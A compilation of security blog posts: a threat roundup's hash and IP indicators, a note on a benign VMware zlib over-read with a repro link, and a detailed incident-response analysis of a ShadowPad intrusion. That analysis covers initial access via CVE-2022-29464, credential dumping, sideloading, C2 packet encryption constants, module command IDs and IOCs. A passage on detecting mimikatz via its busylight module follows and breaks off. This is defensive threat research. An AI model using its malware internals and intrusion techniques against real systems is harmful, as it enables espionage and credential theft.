28b92d2ad7b6c9865a5eda3ca5435cbcd7b24fd0b48ed61c9c7b87af542b88ed 29bc8c64d83b59592ced9e79fd8e242344fedaa9bff3d385ce5372de7e035b4b 2a812fc2558cfe90756a59a8d79ec8da9e14d7fec59cd9bbc5189a67a86629eb 2e7fe1b9448cb0cca242f4b72fd956f21ad262587b88135045bc07a010cec102 3047c7b03f084dc15ddbca4044a0fb2376af8b3799e4316194de8ef1474e1bf8 321f58c68fead768a8465532821b62ec741482135b0a5460d48838433cde6133 32b2f95694db2d96de89e4f8644cbdf68229903053c066499141b323d4acca1a 34beb6169472ea58264460d2673a70128474e9bdb62fe998e5c22f9a4fa61a8c 350596b9f1a539dddfd73cb4d10c605ec8cc8ed227bd2f33f31fddd6f190e7d8
*See JSON for more IOCs


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella This has coverage
WSA This has coverage

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 13 samples
Registry Keys Occurrences
Value Name: HWID
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
168[.]144[.]38[.]105 13

File Hashes

1acb437594832fbf922ea62142314c31026f4345dfd31cf843acb52eca1aec92 1cc621b3d1a8db17783e813726cee6309e7802110a6d93779b7096e723023628 39b43b15aeb0a1aff4ca35928a2dd25aa6439c2faa24721424a749cd5b376153 57e6addd9c1c9f9367c48020e1f004a26cd6b361c6145ec97e554fd991ca5925 6bc8e9d23757833faff22d586d92d2274283e5bbe400bf07fdd2c5a070f39bd2 84238de8af6828ea6864308ce0ea0f0e798c31c2e105c3b7bf0f238732738d78 8f1566be038140548e9c1350a9ae28d95c1b70b8f79c0ba3ba094ffec8b530c2 914e1a2a9ca34ba6b66795165ea9e57d2817f3aa23ed662a565c9ad6c6476459 a9b1fb4abbebe49a65998d688a02819d8bdc3eeeebad496b94b5f6b27ff4e49b b7f64dd2cb3cb310bfbbd54e29b4f9c03e94bd474ab487e403aec3357350307a c6c1fcd270017f81a8113545eb42471f98700eb162ccbd4272b54de6435c4971 f4fd5a689233ea0c7c0d1599f14b68554f5c07f0c12c86981e0eef4be06940be fb2a62eecd3f1a04e0633f43d472229ef3994de0a212da08d21c9fea8577016e


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics


Memory Corruption in vmware-vmx.exe

30 September 2022 at 18:11

Preface: Hypervisor Bugs?

Firstly — while the below is a memory corruption bug in VMware’s vmware-vmx.exe process, it is benign (not quite exploitable, partly why I’m comfortable dropping it here) but it is fun to talk about and came from personal VMware fuzzing adventures.

The Bug: A Tale of Two

To first reach the memory corruption bug, we have to take vmware-vmx.exe down the path of panicking!

This is because the actual memory corruption lives in VMware’s zlib.dll, this module is used when vmware-vmx.exe encounters an error and proceeds to create a crash-dump of itself and compress that to disk.

Snippet of the coredmp logic in vmware-vmx’s panic handler

Looking at xref’s to vmware’s panic handler, there’s quite a few ways to make the vmware-vmx process panic

Over 4k xrefs!

We just need to hit one! How can we do this? We need our first bug to hit the panic handler!
Turns out my VMware fuzzer found such a bug, and its in the LSI Logic handler in the process, in particular this line:

Yes, I am coverage-guided fuzzing btw

So this initial bug isn’t anything crazy, its essentially an ASSERT due to unexpected/malformed input, this bug alone will just crash our own VM and as such doesn’t really constitute a bug itself (unless you can do something else with it, I had ideas of continually restarting/crashing my own VM to take up crash-dump / log space on the host for instance)

However my fuzzer didn’t report this as an ASSERT, it found an actual memory corruption bug! Turns out during the panicing process in this instance data is sent to VMware’s zlib’s deflate function (for compression) and this code actually has an overflow read!

What happens here is that a buffer is looped over a set of iterations and for each iteration we read 8 bytes from the buffer, however it goes one iteration too far and attempts to read past the bounds of the buffer on the final iteration:


Repro for Yourself

Want to test this yourself? Grab the bootx64.efi (uefi bootloader) I’ve made below, you can create a VMware vmdk and plant this in the vmdk’s “\EFI\Boot” folder, such that when you mount the vmdk the structure is “\EFI\Boot\bootx64.efi”.

When you launch the VM my bootloader will run and repro the crash for you (its not a 100% success rate, probably about 80%).

bootx64.efi: https://github.com/Kharos102/VmwareBlogBug

A glimpse into the shadowy realm of a Chinese APT: detailed analysis of a ShadowPad intrusion

Authors: William Backhouse (@Will0x04), Michael Mullen (@DropTheBase64) and Nikolaos Pantazopoulos



This post explores some of the TTPs employed by a threat actor who was observed deploying ShadowPad during an incident response engagement.

Below provides a summary of findings which are presented in this blog post:

  • Initial access via CVE-2022-29464.
  • Successive backdoors installed – PoisonIvy, a previously undocumented backdoor and finally ShadowPad.
  • Establishing persistence via Windows Services to execute legitimate binaries which sideloads backdoors, including ShadowPad.
  • Use of information gathering tools such as ADFind and PowerView.
  • Lateral movement leveraging RDP and ShadowPad.
  • Use of 7zip for data collection.
  • ShadowPad used for Command and Control. 
  • Exfiltration of data.


This blog looks to build on the work of other security research done by SecureWorks and PwC with firsthand experience of TTPs used in a recent incident where ShadowPad was deployed. ShadowPad is a modular remote access trojan (RAT) which is thought to be used almost exclusively by China-Based threat actors.  


Based on the findings of our Incident Response investigation, NCC Group assesses with high confidence that the threat actor detailed in this article was a China-based Advanced Persistent Threat (APT).

This is based on the following factors

  • ShadowPad – Public reporting has previously indicated the distribution of ShadowPad is tightly controlled and is typically exclusive to China-based threat actors for use during espionage campaigns.
  • TTPs – Specific TTPs observed during the attack were found to match those previously observed by China-based threat actors, both within NCC Group incident response engagements and the wider security community.
  • Activity pattern analysis – The threat actor was typically active during the hours of 01:00 – 09:00 (UTC) which matches the working hours of China


Initial Access

A recent vulnerability in WSO2, CVE-2022-29464 [3], was the root cause of the incident. The actor, amongst other attackers, was able to exploit the vulnerability soon after it was published to create web shells on a server.

The actor leveraged a web shell to load a backdoor, in this case PoisonIvy. This was deployed via a malicious DLL and leveraged DLL Search Order Hijacking, a tactic which was continuously leveraged throughout the attack.


Certutil.exe was used via commands issued on web shells to install the PoisonIvy backdoor on patient zero.

The threat actor leveraged command prompt and PowerShell throughout the incident.

Additionally, several folders named _MEI<random digits> were observed within the Windows\Temp folder. The digits in the folder name change each time a binary is compiled. These folders are created on a host when a python executable is compiled. Within these folders were the .pyd library files and DLL files. The created time for these folders matched the last modified time stamp of the complied binary within the shimcache.


Run Keys and Windows services were used throughout in order to ensure the backdoors deployed obtained persistence.

Defense Evasion

The threat actor undertook significant anti-forensic actions on ShadowPad related files to evade detection. This included timestomping the malicious DLL and applying the NTFS attributes of hidden and system to the files. Legitimate but renamed Windows binaries were used to load the configuration file. The threat actor also leveraged a legitimate Windows DLL, secur32.dll, as the name of the configuration file for the ShadowPad backdoor.

All indicators of compromise, aside from backdoor modules and loaders, were removed from the hosts by the threat actor.

Credential Access

The threat actor was observed collecting all web browser credentials from all hosts across the environment. It is unclear at this stage how this was achieved with the evidence available.


A vast array of tooling was used to scan and enumerate the network as the actor negotiated their way through it, these included but were not limited to the following:

  • AdFind
  • NbtScan
  • PowerView
  • PowerShell scripts to enumerate hosts on port 445
  • Tree.exe

Lateral Movement

Lateral movement was largely carried out using Windows services, particularly leveraging SMB pipes. The only interactive sessions observed were onward RDP sessions to customer connected sites.


In addition to the automated collection of harvested credentials, the ShadowPad keylogger module was used in the attack, storing the keystrokes in encrypted database files for exfiltration. The output of which was likely included in archive files created by the attacker, along with the output of network scanning and reconnaissance.

Command and Control

In total, three separate command and control infrastructures were identified, all of which utilised DLL search order hijacking / DLL side loading. The initial payload was PoisonIvy, this was only observed on patient zero. The threat actor went on to deploy a previously undocumented backdoor once they gained an initial foothold in the network, this framework established persistence via a service called K7AVWScn, masquerading as an older anti-virus product. Finally, once a firm foothold was established within the network the threat actor deployed ShadowPad. Notably, the ShadowPad module for the proxy feature was also observed during the attack to proxy C2 communications via a less conspicuous server.


Due to the exfiltration capabilities of ShadowPad, it is highly likely to have been the method of exfiltration to steal data from the customer network. This is further cemented by a small, yet noticeable spike in network traffic to threat actor controlled infrastructure.


  • Searches for the documented IOCs should be conducted
  • If IOCs are identified a full incident response investigation should be conducted

ShadowPad Technical Analysis

Initialisation phase 

Upon execution, the ShadowPad core module enters an initialisation phase at which it decrypts its configuration and determines which mode it runs. In summary, we identified the following modes: 

Mode ID  Description 
Injects itself to a specified process (specified in the ShadowPad configuration) and adds persistence to the compromised host.     In addition, if the compromised user belongs to a group with a SID starting with S-1-5-80- then the specified target process uses the token of ‘lsass’. 
Injects itself to a specified process (specified in the ShadowPad configuration) and executes the core code in a new thread.    In addition, if the compromised user belongs to a group with a SID starting with S-1-5-80 then the specified target process uses the token of ‘lsass’. 
Injects itself to a specified process (specified in the ShadowPad configuration).     In addition, if the compromised user belongs to a group with a SID starting with S-1-5-80 then the specified target process uses the token of ‘lsass’. 
16  Injects itself to a specified process (specified in the ShadowPad configuration) and creates/starts a new service (details are specified in the ShadowPad configuration), which executes the core code.     In addition, if the compromised user belongs to a group with a SID starting with S-1-5-80 then the specified target process uses the token of ‘lsass’. 
Table 1 – ShadowPad Modes

ANALYST NOTE: The shellcode is decrypted using a combination of bitwise XOR operations. 

Configuration storage and structure 

ShadowPad comes with an embedded encrypted configuration, which it locates by scanning its own shellcode (core module) with the following method (Python representation): 

for dword in range( len(data) ): 
  first_value = data[dword :dword+4] 
  second_value = data[dword+4:dword+8] 
  third_value = data[dword+8:dword+12] 
  fourth_value = data[dword+12:dword+16] 
  fifth_value = data[dword+16:dword+20] 
  sixth_value = data[dword+20:dword+24] 
  xor1 = int.from_bytes(second_value,'little') ^ 0x8C4832F1 
  xor2 = int.from_bytes(fourth_value,'little') ^ 0xC3BF9669 
  xor3 = int.from_bytes(sixth_value,'little') ^  0x9C2891BA 

  if xor1 == int.from_bytes(first_value,'little') and xor2 ==    int.from_bytes(third_value,'little') and xor3 == int.from_bytes(fifth_value,'little'): 
     print(f"found: {dword:02x}") 
     encrypted = data[dword:] 

After locating it successfully, it starts searching in it for a specified byte that represents the type of data (e.g., 0x02 represents an embedded module). In total, we have identified the following types: 

ID  Description 
0x02  Embedded ShadowPad module. 
0x80  ShadowPad configuration. It should start with the DWORD value 0x9C9D22EC. 
0x90  XOR key used during the generation of unique names (e.g., registry key name) 
0x91  DLL loader file data. 
0x92  DLL loader file to load. File might have random appended data (Depends on the config’s flag at offset 0x326). 
0xA0  Loader’s filepath 
Table 2 – Shadowpad Data Types 

Once one of the above bytes are located, ShadowPad reads the data (size is defined before the byte identifier) and appends the last DWORD value to the hardcoded byte array ‘1A9115B2D21384C6DA3C21FCCA5201A4’. Then it hashes (MD5) the constructed byte array and derives an AES-CBC 128bits key and decrypts the data. 

In addition, ShadowPad stores, in an encrypted format, the following data in the registry with the registry key name being unique (based on volume serial number of C:\) for each compromised host: 

  1. ShadowPad configuration (0x80) data. 
  2. Proxy configuration. Includes proxy information that ShadowPad requires. These are the network communication protocol, domain/IP proxy and the proxy port. 
  3. Downloaded modules. 

ShadowPad Network Servers 

ShadowPad starts two TCP/UDP servers at The port(s) is/are specified in the ShadowPad configuration. These servers work as a proxy between other compromised hosts in the network. 

In addition, ShadowPads starts a raw socket server, which receives data and does one of the following tasks (depending on the received data): 

  1. Updates and sets proxy configuration to SOCKS4 mode. 
  2. Updates and sets proxy configuration to SOCKS5 mode. 
  3. Updates and sets proxy configuration to HTTP mode. 

Network Communication 

ShadowPad supports a variety of network protocols (supported by dedicated modules). For all of them, ShadowPad uses the same procedure to store and encrypt network data. The procedure’s steps are: 

  1. Compress the network data using the QuickLZ library module. 
  2. Generates a random DWORD value, which is appended to the byte array                  ‘1A9115B2D21384C6DA3C21FCCA5201A4’. Then, the constructed byte array is        hashed (MD5) and an AES-CBC 128bits key is derived (CryptDeriveKey). 
  3. The data is then encrypted using the generated AES key. In addition, Shadowpad        encrypts the following data fields using bitwise XOR operations: 
  1. Command/Module ID:  Command/Module ID ^  ( 0x1FFFFF * Hashing_Key – 0x2C7BEECE ) 
  2. Data_Size: Data_Size ^ ( 0x1FFFFFF * 0x7FFFFF * ( 0x1FFFFF * Hashing_Key – 0x2C7BEECE ) – 0x536C9757 – 0x7C06303F )  
  3. Command_Execution_State: Command_Execution_State ^ 0x7FFFFF * (0x1FFFFF * Hashing_Key – 0x2C7BEECE) – 0x536C9757 

As a last step, ShadowPad encapsulates the above generated data into the following        structure: 

struct Network_Packet 
 DWORD Hashing_Key; 
 DWORD Command_ID_Module_ID; 
 DWORD Command_Execution_State; //Usually contains any error codes. 
 DWORD Data_Size; 
 byte data[Data_Size]; 

If any server responds, it should have the same format as above. 

Network Commands and Modules 

During our analysis, we managed to extract a variety of ShadowPad modules with most of them having their own set of network commands. The table below summarises the identified commands of the modules, which we managed to recover. 

Module  Command ID  Description 
Main module  0xC49D0031               First command sent to the C2 if the commands fetcher function does not run in a dedicated thread. 
Main module  0xC49D0032   First command sent to the C2 if the commands fetcher function does run in a dedicated thread. 
Main module  0xC49D0033  Fingerprints the compromised host and sends the information to the C2. 
Main module  0xC49D0032  (Received) Executes the network command fetcher function in a thread. 
Main module      0xC49D0034               Sents an empty reply to the C2. 
Main module      0xC49D0037              Echoes the server’s reply. 
Main module  0xC49D0039  Sends number of times the Shadowpad files were detected to be deleted. 
Main module      0xC49D0016               Deletes Shadowpad registry keys. 
Main module      0xC49D0035               Enters sleep mode for 3 seconds in total. 
Main module      0xC49D0036               Enters sleep mode for 5 seconds in total. 
Main module      0xC49D0010               Retrieves Shadowpad execution information. 
Main module      0xC49D0012               Updates Shadowpad configuration (in registry). 
Main module      0xC49D0014               Deletes Shadowpad module from registry. 
Main module      0xC49D0015               Unloads a Shadowpad module. 
Main module      0xC49D0020               Retrieves Shadowpad current configuration (from registry). 
Main module      0xC49D0021               Updates the Shadowpad configuration in registry and (re)starts the TCP/UDP servers. 
Main module      0xC49D0022               Deletes Shadowpad registry entries and starts the TCP/UDP servers.   
Main module      0xC49D0050               Retrieves Shadowpad proxy configuration from registry. 
Main module      0xC49D0051               Updates Shadowpad proxy configuration. 
Main module      0xC49D0052               Updates Shadowpad proxy configuration by index. 
Main module      0xC49D0053               Sets Shadowpad proxy configuration bytes to 0 
Main module      Any Module ID            Loads and initialises the specified module ID. 
Files manager module    0x67520006        File operations (copy,delete,move,rename). 
Files manager module    0x67520007        Executes a file. 
Files manager module    0x67520008        Uploads/Downloads file to/from C2. 
Files manager module    0x6752000A        Searches for a specified file. 
Files manager module    0x6752000C        Downloads a file from a specified URL. 
Files manager module    0x67520005        Timestomp a file. 
Files manager module    0x67520000        Get logical drives information. 
Files manager module    0x67520001        Searches recursively for a file. 
Files manager module    0x67520002        Checks if file/directory is writable. 
Files manager module    0x67520003        Creates a directory. 
Files manager module    0x67520004        Gets files list in a given directory 
TCP/UDP module          0x54BD0000        Loads TCP module and proxy data via it. 
TCP/UDP module          0x54BD0001        Proxies UDP network data. 
Desktop module          0x62D50000        Enumerates monitors. 
Desktop module          0x62D50001        Takes desktop screenshot. 
Desktop module          0x62D50002        Captures monitor screen. 
Desktop module          0x62D50010        Gets desktop module local database file path.  
Desktop module          0x62D50011        Reads and sends the contents of local database file to the C2. 
Desktop module          0x62D50012  Writes to local database file and starts a thread that constantly takes desktop screenshots. 
Processes manager module  0x70D0000      Gets processes list along with their information 
Processes manager module  0x70D0001      Terminates a specified process 
Network Connections module  0x6D0000     Gets TCP network table. 
Network Connections module  0x6D0001     Gets UDP network table.   
PIPEs module  0x23220000    Reads/Writes data to PIPEs. 
Propagation module    0x2C120010     Get module’s configuration. 
Propagation module    0x2C120011     Transfer network data between C2 and PIPEs. 
Propagation module    0x2C120012  Constant transfer of network data between C2 and PIPEs. 
Propagation module    0x2C120013  Transfer network data between C2 and PIPEs. 
Propagation module    0x2C120014           Constant transfer of network data between C2 and PIPEs. 
Propagation module    0x2C120015  Transfer network data between C2 and PIPEs. 
Propagation module    0x2C120016  Constant transfer of network data between C2 and PIPEs. 
Propagation module  0x2C120017  Transfer network data between C2 and PIPEs. 
Propagation module  0x2C120018  Transfer network data between C2 and PIPEs. 
Scheduled tasks module  0x71CD0000    Gets a list of the scheduled tasks. 
Scheduled tasks module  0x71CD0001    Gets information of a specified scheduled task. 
Wi-Fi stealer module  0xDC320000  Collects credentials/information of available Wi-Fi devices. 
Network discovery module  0xF36A0000  Collects MAC addresses. 
Network discovery module  0xF36A0001  Collects IP addresses information. 
Network discovery module  0xF36A0003  Port scanning. 
Console module  0x329A0000             Starts a console mode in the compromised host. 
Keylogger module    0x63CA0000          Reads the keylogger file and sends its content to the C2. 
Keylogger module    0x63CA0001  Deletes keylogger file. 
Table 3 – Modules Network Commands 

Below are listed the available modules, which do not have network commands (Table 3). 

Module ID  Description 
E8B5  QUICKLZ library module. 
7D82  Sockets connection module (supports SOCKS4, SOCKS5 and HTTP). 
C7BA  TCP module. 
Table 4 – Available modules without network commands 

Below are listed the modules that we identified after analysing the main module of ShadowPad but were not recovered. 

Module ID       Description 
0x25B2          UDP network module. 
0x1FE2          HTTP network module. 
0x9C8A          HTTPS network module. 
0x92CA          ICMP network module 
0x64EA  Unknown 
Table 5 – Non-Recovered ShadowPad Modules


  1. ShadowPad uses a checksum method to compare certain values (e.g., if it runs under        certain access rights). This method has been implemented below in Python: 
ror = lambda val, r_bits, max_bits: \ 
((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 
rounds = 0x80 

data = b"" 
output = 0xB69F4F21 
max_bits = 32 
counter = 0 

for i in range( len(data) ): 
 data_character = data[counter] 
 if (data_character - 97)&0xff <= 0x19: 
  data_character &= ~0x20&0xfffffff 
  counter +=1 
  output = (data_character + ror(output, 8,32)) ^ 0xF90393D1 
  print ( hex( output )) 
  • Under certain modes, ShadowPad chooses to download and inject a payload from its        command-and-control server. ShadowPad parses its command-and-control server        domain/IP address and sends a HTTP request. The reply is expected to be a payload,        which ShadowPad injects into another process. 

ANALYST NOTE: In case the IP address/Domain includes the character ‘@’,                      ShadowPad decrypts it with a custom algorithm. 

Indicators of Compromise

IOC Indicator Type Description
C:\wso2is-4.6.0\BVRPDiag.exe File Path Legitimate executable to sideload PoisonIvy
C:\wso2is-4.6.0\BVRPDiag.tsi File Path  
C:\wso2is-4.6.0\BVRPDiag.dll File Path PoisonIvy
C:\wso2is-4.6.0\ModemMOH.dll File Path
C:\Windows\System32\spool\drivers\color\K7AVWScn.dll File Path Previously undocumented C2 framework
C:\Windows\System32\spool\drivers\color\K7AVWScn.doc File Path Unknown file in the same location as PosionIvy
C:\Windows\System32\spool\drivers\color\K7AVWScn.exe File Path Legitimate executable to sideload PoisonIvy
C:\Windows\System32\spool\drivers\color\secur32.dll File Path ShadowPad DLL
C:\Windows\System32\spool\drivers\color\secur32.dll.dat File Path ShadowPad Encrypted Configuration
C:\Windows\System32\spool\drivers\color\WindowsUpdate.exe File Path Legitimate executable to sideload ShadowPad
C:\Windows\Temp\WinLog\secur32.dll File Path ShadowPad DLL
C:\Windows\Temp\WinLog\secur32.dll.dat File Path ShadowPad Encrypted Configuration
C:\Windows\Temp\WinLog\WindowsEvents.exe File Path Legitimate executable to sideload ShadowPad
C:\ProgramData\7z.dll File Path Archiving tool
C:\ProgramData\7z.exe File Path Archiving tool
C:\Users\Public\AdFind.exe File Path Reconnaissance tooling
C:\Users\Public\nbtscan.exe File Path Reconnaissance tooling
C:\Users\Public\start.bat File Path Unknown batch script, suspected to start execution of mimikatz
C:\Users\Public\t\64.exe File Path Unknown executable, suspected mimikatz
C:\Users\Public\t\7z.exe File Path  Archiving tool
C:\Users\public\t\browser.exe File Path Unknown attacker executable
C:\Users\Public\t\nircmd.exe File Path NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface.
C:\users\public\t\test.bat File Path Unknown attacker batch script
C:\Users\Public\test.bat File Path Unknown attacker batch script
C:\Users\Public\test.exe File Path Unknown attacker executable
C:\Users\Public\test\Active Directory\ntds.dit File Path Staging location for NTDS dump
C:\Users\Public\test\registry\SECURITY File Path Staging location for registry dump
C:\Users\Public\test\registry\SYSTEM File Path Staging location for registry dump
C:\Users\Public\WebBrowserPassView.exe File Path NirSoft tool for recovering credentials from web browsers.
C:\Windows\debug\adprep\P.bat File Path Unknown attacker batch script
C:\Windows\system32\spool\drivers\affair.exe File Path Unknown attacker executable
C:\Windows\System32\spool\drivers\color\SessionGopher.ps1 File Path Decrypts saved session information for remote access tools.
C:\windows\system32\spool\drivers\color\tt.bat File Path Unknown attacker batch script
C:\Windows\Temp\best.exe File Path Tree.exe
ip445.ps1 File Name Unknown PowerShell script suspected to be related to network reconnaissance
ip445.txt File Name Suspected output file for ip445.ps1
nbtscan.exe File Name Attacker tooling
SOFTWARE: Classes\CLSID\*\42BF3891 Registry Key Encrypted ShadowPad configuration
SOFTWARE: Classes\CLSID\*\45E6A5BE Registry Key Encrypted ShadowPad configuration
SOFTWARE: Classes\CLSID\*\840EE6F6 Registry Key Encrypted ShadowPad configuration
SOFTWARE: Classes\CLSID\*\9003BDD0 Registry Key Encrypted ShadowPad configuration
Software:Classes\CLSID\*\51E27247 Registry Key Encrypted ShadowPad configuration
Software\Microsoft\*\*\009F24BCCEA54128C2344E03CEE577E12504DD569C8B48AB8B7EAD5249778643 Registry Key Encrypted ShadowPad module
Software\Microsoft\*\*\5F336A90564002BE360DF63106AA7A7568829C6C084E793D6DC93A896C476204 Registry Key Encrypted ShadowPad module
Software\Microsoft\*\*\FF98EFB4C7680726BF336CEC477777BB3BEB73C7BAA1A5A574C39E7F4E804585 Registry Key Encrypted ShadowPad module
D1D0E39004FA8138E2F2C4157FA3B44B MD5 Hash PoisenIvy DLL
54B419C2CAC1A08605936E016D460697 MD5 Hash Undocumented backdoor DLL
B426C17B99F282C13593954568D86863 MD5 Hash Undocumented backdoor related file
7504DEA93DB3B8417F16145E8272BA08 MD5 Hash ShadowPad DLL
D99B22020490ECC6F0237EFB2C3DEF27 MD5 Hash ShadowPad DLL
1E6E936A0A862F18895BC7DD6F607EB4 MD5 Hash ShadowPad DLL
A6A19804248E9CC5D7DE5AEA86590C63 MD5 Hash ShadowPad DLL
4BFE4975CEAA15ED0031941A390FAB55 MD5 Hash ShadowPad DLL
87F9D1DE3E549469F918778BD637666D MD5 Hash ShadowPad DLL
8E9F8E8AB0BEF7838F2A5164CF7737E4 MD5 Hash ShadowPad DLL

Mitre Att&ck

Tactic Technique ID Description
Initial Access Exploit Public-Facing Applications T1190 Initial access was gained via the threat actor exploiting CVE-2022-29464 to create a web shell
Execution Command and Scripting Interpreter: PowerShell T1059:001 PowerShell based tools PowerView and SessionGopher were executed across the estate for reconnaissance and credential harvesting. Additionally, hands on keyboard commands were identified as being executed to confirm which version of the malware was present.
Execution Command and Scripting Interpreter: Windows Command Shell T1059:003 A scheduled task used by the threat actor was used to launch a Windows Command Shell. The purpose is not known.
Execution Command and Scripting Interpreter: Python T1059:006 Several compiled python binaries were identified. It is likely the binaries related to the creation of an FTP server.
Execution Scheduled Task/Job: Scheduled Task T1053 A scheduled task named “update” was observed and configured to execute a command prompt on multiple hosts throughout the environment. Upon successful execution of the task the threat actor then deleted the task from the host
Execution Exploitation for Client Execution T1203 The threat actor leveraged CVE-2022-29464 to deploy web shells and allow remote command execution on patient zero.
Execution Windows Management Instrumentation (WMI) T1047 WMI was used by the threat actor to carry out reconnaissance activity.
Persistence Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 A run key for the local administrator was created to execute the malicious backdoor.
Persistence Create or Modify System Process: Windows Service T1543.003 Two malicious services were deployed widely across the estate for persistence of the backdoors. Both services execute a legitimate binary which is stored in the same location as a malicious DLL, when executed the legitimate binary would side load the malicious DLL containing the backdoor.
Privilege Escalation Valid Accounts: Domain Accounts T1078.002 The threat actor was primarily using domain administrator credentials to move laterally throughout the attack, allowing them to blend in with legitimate administrator activity.
Defence Evasion Impair Defenses: Downgrade Attack T1562.010 The threat actor was observed utilising PowerShell downgrades, this is typically used by threat actors to avoid the script logging capabilities of PowerShell version 5+
Defence Evasion Indicator Removal on Host: File Deletion T1070.004 The threat actor routinely removed the majority of tooling deployed throughout the attack from hosts upon completion of their objectives.
Defence Evasion Indicator Removal on Host: Timestomp T1070.006 The threat actor timestomped all files relating to the backdoors including the legitimate binary and the malicious DLL.
Defence Evasion Modify Registry T1112 The modules for ShadowPad were stored within the registry in an encrypted format. The keys for the stored data are generated depending on the volume serial number of the host.
Defence Evasion Obfuscated Files or Information T1027 The ShadowPad configuration was stored within an encrypted registry hive. The keylogger module of ShadowPad created an encrypted output file on the host.
Defence Evasion Masquerading: Rename System Utilities T1036.003 The threat actor leveraged a legitimate Windows DLL, secur32.dll, as the name of the configuration file for the ShadowPad backdoor.
Defence Evasion Process Injection: Process Hollowing T1055.012 Upon execution ShadowPad spawns a sacrificial process, which then utilises the technique of process hollowing to inject into the process.  
Defence Evasion Hide Artefacts: Hidden Files and Directories T1564.001 Several malicious files were identified as having the NTFS attribute of hidden.
Defence Evasion Hijack Execution Flow: DLL Search Order Hijacking T1574.001 The backdoors leveraged DLL Search Order Hijacking.
Credential Access Credentials from Password Stores: Credentials from Web Browsers T1555:003 The NirSoft tool WebBrowserPassView.exe was also identified as being executed by the attacker.
Credential Access Credentials from Password Stores: Windows Credential Manager T1555.004 Credential harvesting which indicated credentials from Windows Credential Manager were collected was identified on a domain controller.
Credential Access OS Credential Dumping: LSASS Memory T1003.001 ProcDump.exe was leveraged on patient zero during the attack in order to dump credentials stored in the process memory of Local Security Authority Subsystem Service (LSASS).
Credential Access OS Credential Dumping: NTDS T1003.003 The NTDS.dit was dumped and exfiltrated from a domain controller for each domain.
Credential Access Unsecured Credentials: Credentials in Files T1552.001 Several instances of passwords in plaintext files were observed on hosts where ShadowPad was installed/
Credential Access Input Capture: Keylogging T1056:001 ShadowPad instances had a Keylogger module installed.
Discovery File and Directory Discovery T1083 Tree.exe was used to enumerate files and directories on compromised hosts.
Discovery Network Share Discovery T1135 A PowerShell script named ip445.ps1 was used throughout the attack to enumerate network shares across the Windows estate.
Discovery System Network Configuration Discovery T016 AdFind.exe can extract subnet information from Active Directory.
Discovery Account Discovery: Domain Account T1087.002 AdFind.exe can enumerate domain users.
Discovery Domain Trust Discovery T1482 AdFind.exe can gather information about organizational units (OUs) and domain trusts from Active Directory.
Discovery Permission Groups Discovery: Domain Groups T1069 AdFind.exe can enumerate domain groups.
Discovery Remote System Discovery T1018 AdFind.exe has the ability to query Active Directory for computers.
Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 RDP was used by the threat actor to laterally move. It is unknown whether this was a deliberate act to move estates or if the threat actor was attempting to move to another domain.
Lateral Movement Remote Services: SMB/Windows Admin Shares T1021.002 The Powerview module of Powersploit was used to enumerate all SMB shares across the environment.
Lateral Movement Remote Services: Windows Remote Management T1021.006 WinRM was used by the actor during periods of network reconnaissance.
Lateral Movement Remote Services: Distributed Component Object Model T1021.003 Anti-virus alerts showed the threat actor as utilising WMI to laterally move to hosts across the network.
Collection Automated Collection T1119 Large scale credential harvesting was conducted against remote hosts from a domain controller.
Collection Data Staged: Remote Data Staging T1074.002 Credentials harvested by the threat actor were collected on a domain controller, prior to exfiltration.
Collection Input Capture: Keylogging T1056.001 ShadowPad instances had a Keylogger module installed which allowed them to capture the input of interactive sessions. The output was stored on disk in encrypted database files.
Collection Archive Collected Data: Archive via Utility T1560.001 The actor was routinely observed archiving collected data via 7zip.
Command and Control Encrypted Channel T1573 ShadowPad configurations indicated Command and Control communications were sent via port 443.
Command and Control Proxy: Internal Proxy T1090.001 ShadowPad instances had a Proxy module installed. It was identified that a proxy module was installed and was interacting via port 445.
Exfiltration Exfiltration Over C2 Channel T1041 ShadowPad has the capability to exfiltrate data.

[1] https://www.secureworks.com/research/shadowpad-malware-analysis

[2] https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html

[3] https://nvd.nist.gov/vuln/detail/CVE-2022-29464

Detecting Mimikatz with Busylight

30 September 2022 at 08:00

In 2015 Raphael Mudge released an article [1] that detailed that versions of mimikatz released after 8th of October, 2015 had a new module that was utilising certain types of external USB devices to flash lights in different colours if mimikatz was executed. The technique presented in the article required certain kind of busylights that are mainly used by developers to signal their availability to other employees in offices.

The reason why this module was merged into mimikatz is not clear, but it meant that unmodified versions of mimikatz could be physically detected if a device like this was plugged into the computer that was being attacked. Obviously, this kind of detection mechanism is not really feasible in enterprise environments for multiple reasons.

NCC Group had an idea that was put into research to improve on the basic idea, and a way was found to detect mimikatz activity reliably without significant deployment or development costs. Although the result of the research works perfectly and 100% reliable, it can only detect version of mimikatz with the busylight module compiled. Five out of eight variants were detected. More on the results at the end of this article.

The Idea

The idea was to detect the busylight interaction without an external USB device. Taking a look on the busylight devices, it quickly turned out that they do not require any special drivers, they are simple HID devices. Fortunately Windows has the capability to emulate any kind of devices including USB HID devices, and there are also open-source driver examples on Github that can be used for development reasons, so we were up for a promising start.

The Busylight Module

Mimikatz commited the busylight module into the Github source on the 8th of October, 2015. Every release since has the module compiled module that in a nutshell does the following things:

  • Exposes the module to the user, which can be interacted with:
Figure 1 – busylight model invoked
  • It also sends an initialisation sequence to the busylight in a separate thread when the tool gets executed
  • Sends a static keep-alive sequence every 5 seconds
  • Upon exit it sends a final sequence as well

Looking through mimikatz’s code, by default it only supports 6 different type of busylights. The PID and VID numbers are hardcoded and their capabilities as well, so the code can recognize a specific device and send commands accordingly:

Figure 2 – Supported Busylight devices

The Solution

